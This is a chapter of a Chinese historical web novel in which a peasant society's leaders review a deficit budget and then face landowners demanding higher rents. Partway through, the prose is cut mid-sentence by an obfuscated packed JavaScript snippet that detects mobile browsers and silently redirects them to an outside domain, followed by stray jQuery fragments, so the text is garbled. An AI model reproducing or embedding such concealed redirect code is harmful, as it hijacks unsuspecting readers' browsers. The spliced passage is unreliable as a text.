134. 收支

作品:《铁娘子她怎么登基称帝了

    “我早说过,让里民轮流担任邻长,但不给钱,本质上也是一种税。”


    谱口冲唐家大屋,杨文煊听了刘今钰讲述,并不意外。


    “准确地说,是各邻轮流承担的徭役,与大明的里甲正役并无实质区别。


    “当然,宗族也是大问题。若让小姓做邻长、里魁,很多大姓的人不会听话,甚至故意对抗。


    “若让大姓做,欺负外姓都算小事,就怕有人成了土皇帝,以后我们派下的人也得看他脸色。”


    何起蛟似懂非懂,刘今钰欲言又止。


    见刘今钰面色挣扎,杨文煊笑道,“这次你倒懂事了,没说必须给邻长发工钱。发工钱倒也还好,幸亏你没说一定要清除宗族势力。那不止是天价,还得见血。”


    说着话,他将一本册子扔给刘今钰,“你看看,这是我精简后的上半年账本。”


    刘今钰不用看都知道定然“惨不忍睹”。


    事实是——


    还好,居然还有结余。


    刘今钰一脸惊喜,杨文煊却连忙提醒,“你仔细看,千万别有‘非分’的想法!现下我们的收入不过商利、斩获、租税三个来源。


    “商利现是三大支柱:皂膏香水等日用品盈利五千零三十一两,玻璃制品盈利五千五百一十八两,铁制品盈利三千零三十六两。其他千两左右。


    “斩获,即剿匪所得,以及逃乡大户留下的家产。新宁人少地僻,不如邵阳,是以上半年仅三千四百四十八两。


    “租税,即田租和商税,用的是上年度数据。田租方面,若非有隐田,我们还得倒贴,最后不过盈余二千一百四十六两。


    “商税方面,去年仅五峰铺、花桥、故州、郦家坪等地试验性质地收了钱,仅三百一十八两。租税共两千四百六十四两,分在上半年便只一千二百三十二两。


    “以上总计一万九千二百六十五两。但实际上下半年便没了斩获,若折半,便只有一万七千五百四十一两,即月均收入二千九百二十三两五钱。


    “但每月支出呢?首要的便是军……防务费。保家护乡两队今去年都扩招,保家队两百二十六人,护乡队七百一十二人,其月钱、生活和训练所需每月人均二两三钱。


    “此外,你剿匪以及与大户作战,发放的战时补贴以及抚恤金等总计约一千七百两,月均一百四十一两,即防务费每月便得近两千三百两。


    “其次便是大同社各部各级支出,以及给农联的活动经费、脱产人员补贴等,每月便得一千六百两。光是以上两项,已超出每月收入近千两。


    “最后便是单独统计的基建费用。红砖、水泥等不对外销售,这些厂窑的成本一并算在里面,此外还包括修建水利发放的粮食和奖金,分摊到每月也得七百两。


    “每月多花的一千七百两,全靠去年的盈余填补。你看到的结余,便是剩下的盈余。但也只能挺到下个月了。


    “当然,不少地方使用工分劵,可以再挺一两个月,到时收上租税,咬咬牙可以撑过今年。


    “但是,明年呢?明年该怎么办?”


    刘今钰没回话,一张笑脸顿时严肃下来。


    何起蛟担忧地看着她。杨文煊有些词他听不懂,但不耽误他听明白大同社面临的严峻危机。


    归根结底,是大同社管得太多了。


    管,便得要钱。


    正是要的钱太多,大明才会选择“皇权不下乡”,将乡里的治权拱手让与乡绅。


    杨文煊问刘今钰该如何办,实际上已经告诉她该如何办。


    连他知道摆在大同社面前的只有两条路。


    一是减少开支。将派往乡里的干役裁撤,各处的基建也暂停一部分,确保收支平衡。


    但裁撤干役意味着大同社放弃对乡里的控制,哪怕大户回不来,农联中也会诞生新的“大户”。


    二是增加收入。商利一直在稳步增长,但还不够。所以大同社要么想办法去“剿匪”赚钱,要么从租税入手。


    他知道刘今钰绝不会选择第一条路。她只会往乡里增派干役,而非相反。是以只剩下第二条路可走。


    靠“剿匪”赚钱太慢,且不稳定,难以救急,所以……


    厅堂里寂静无声,刘麻怪和罗狗屎一前一后地走了进来,张口便说“不好了”。


    两人一齐说话,说得又急,刘今钰听得烦躁,拍拍桌子呵斥道,“一个人说便行了!”


    刘麻怪与罗狗屎对视一眼,前者抢先说道,“社长,好多大户来了谱口冲,以东乡的何天安为首,说要见你。”


    刘今钰吃了一惊,片刻后看向何起蛟,“蛟哥,你……”


    何起蛟却摇摇头,打断了刘今钰的话,“我晓得。我这就去躲着。”


    刘麻怪和罗狗屎偷偷对视了一眼,眼底满是震惊,却不敢说话。


    只有杨文煊敢打趣道,“是了,该躲起来。偷情啊,别有一番风味。”


    刘今钰转身赏了杨文煊一个爆栗,“狗嘴吐不出象牙!”


    刘麻怪和罗狗屎连忙低头,装作没看见也没听见的模样。


    何起蛟心里却有些羞涩,隐隐还有高兴,但面上却若无其事地向告辞离开。


    杨文煊恨恨说道,“姓刘的,你下手没轻没重!”


    刘今钰回怼,“你说话也没大没小!”


    说罢她便打发刘麻怪和罗狗屎下去,让他们告知唐景谦、唐廷瀚准备接待大户,先套出那些大户目的,她再决定见不见人。


    刘罗二人走了,杨文煊却燃起了八卦之魂,“你与何起蛟,定在甚么时候?”


    刘今钰白他一眼,“我与他明日成亲,你出得起聘礼,办得起婚礼么?”


    杨文煊奸笑道,“成个亲能花几个钱?你私房钱拿出来,老弟我也把私房钱拿出来,难不成还娶不来他何起蛟?


    “你可不知道,大明结婚流程繁琐,有六步要走,你不早做打算……”


    “好了,你再多嘴,老子再赏你!”刘今钰作势要打,杨文煊当即闭了嘴。她收回手,皱眉道,“你说,何天安等人来谱口冲是为了什么?”


    “为了什么?”杨文煊嗤笑道,“还不是为了那一亩三分田!”


    她没听懂,杨文煊解释道,“你忘了,去年农忙结束后,我们便组织了不少人修建水利。南乡、东乡好些田荡都在春耕前完成了第一阶段的目标。


    “是以今年好些地方种了两季稻。即便是暂时没建水利的地方,因为一些农业知识的普及,还有大同社、农联统一调度水、粪肥等资源,亩产也有小幅增加。


    “以我目前得到的数据,邵阳南乡、东乡不少地方亩产增一成五以上。保守估计,邵阳新宁两县田土亩产应能增长半成。


    “何天安他们,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615615|159702||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    九成九是为了这增加的半成亩产。”


    杨文煊所料不错,何天安等人正是为那半成增产而来。


    “我等收的田租,本就是分成租!”杨国孝大声嚷道,“是以,去年的四成租是亩均二钱四分。今年风调雨顺,乃是丰收之年,四成租便该往上提!


    “莫非,才过了一年,你大同社便不认账了?”


    “我社不认甚么账了?”


    刘今钰走进正厅,原本气势汹汹的杨国孝顿时萎了,后退两步靠近众大户,方才道,“刘社长你一向守信,我知道,该给我等的,你不会少半分。”


    唐廷瀚听得这话,又气又无语,只觉得此人脸皮真厚。


    “该给你们的,我社自然不会少。但你们不该得的,也莫想多拿。”


    刘今钰坐了上席,对众大户不屑的眼神毫不在乎。


    “田租说是分成租,但向来是定额租。遇了灾年,你等有几人减过田租?现下想起田租是分成租了?


    “还有,田地增产与你等有何关系?不是我社与农联建的水利,哪来的增产?各处水利,你们谁捐过钱,出过力?


    “亏你们是读过圣贤书的!一点脸皮不要,连不识字的老农都不如!”


    遭人讽刺,众大户自然群情激愤。


    然而几个保家队队员走进来,他们顿时噤了声。


    厅中安静下来,何天安走出来说话,“刘社长,你拿以前说话,也不讲道理。去年讲好的条款,便是四成租,可不是定额租。


    “刘社长,我等去年与贵社虽有纠纷,但早已解决。我等也明白了贵社救民之心,此后一直配合贵社,也望贵社顾念我等的不容易。


    “我等家大业大,都靠田地吃饭。若不是生活拮据,也不会不要面子来找贵社要这蝇头小利。”


    大户中当即有人附和,说起自己的难处。


    刘今钰听了一阵便笑道,“说来说去,也没人吃不饱饭!”


    众大户激愤,何天安还想劝说,刘今钰却高声说道,“诸位好像忘了甚么!去年那租税章程,诸位压根不曾同意过!何来甚么讲好的四成租!”


    正厅先是一静,再是一片哗然。


    刘今钰嘴角挂着嘲讽的笑,何天安却不得不再说道,“刘社长,去年贵社已给了我等四成租,我等也未曾有过意见,那便是贵社与我等议定了。”


    刘今钰笑道,“无妨,诸位可将去年田租尽数退回,我们重新谈。”


    “刘社长……”


    何天安急了,刘今钰却打断他道,“何先生!诸位先生!且不说去年是否议定,你们今年有想法,那也只是你们自己的想法!


    “我社只与官府或是一县田主谈,否则一家一户谈过去要花多少时间?否则一户一个想法要激起多大纠纷?


    “今日你们在这说的再多,我也只是听听。你们真想与我社重新谈判,重新商定田租,便召集一县田主,选出代表来与我社谈!”


    杨国孝一时之间有些恼怒,“刘社长,你这般为难我们,便是不肯与我们谈。”


    “杨先生,我的话再明白不过,莫要曲解我的意思。”刘今钰道,“你们与佃户谈判,也不是一个个去谈,而是与我社和农联谈的。


    “但若诸位不愿意,我还有个法子。你们去问遍邵阳所有佃户,只要他们都同意你的条件,大同社和农联也认了!”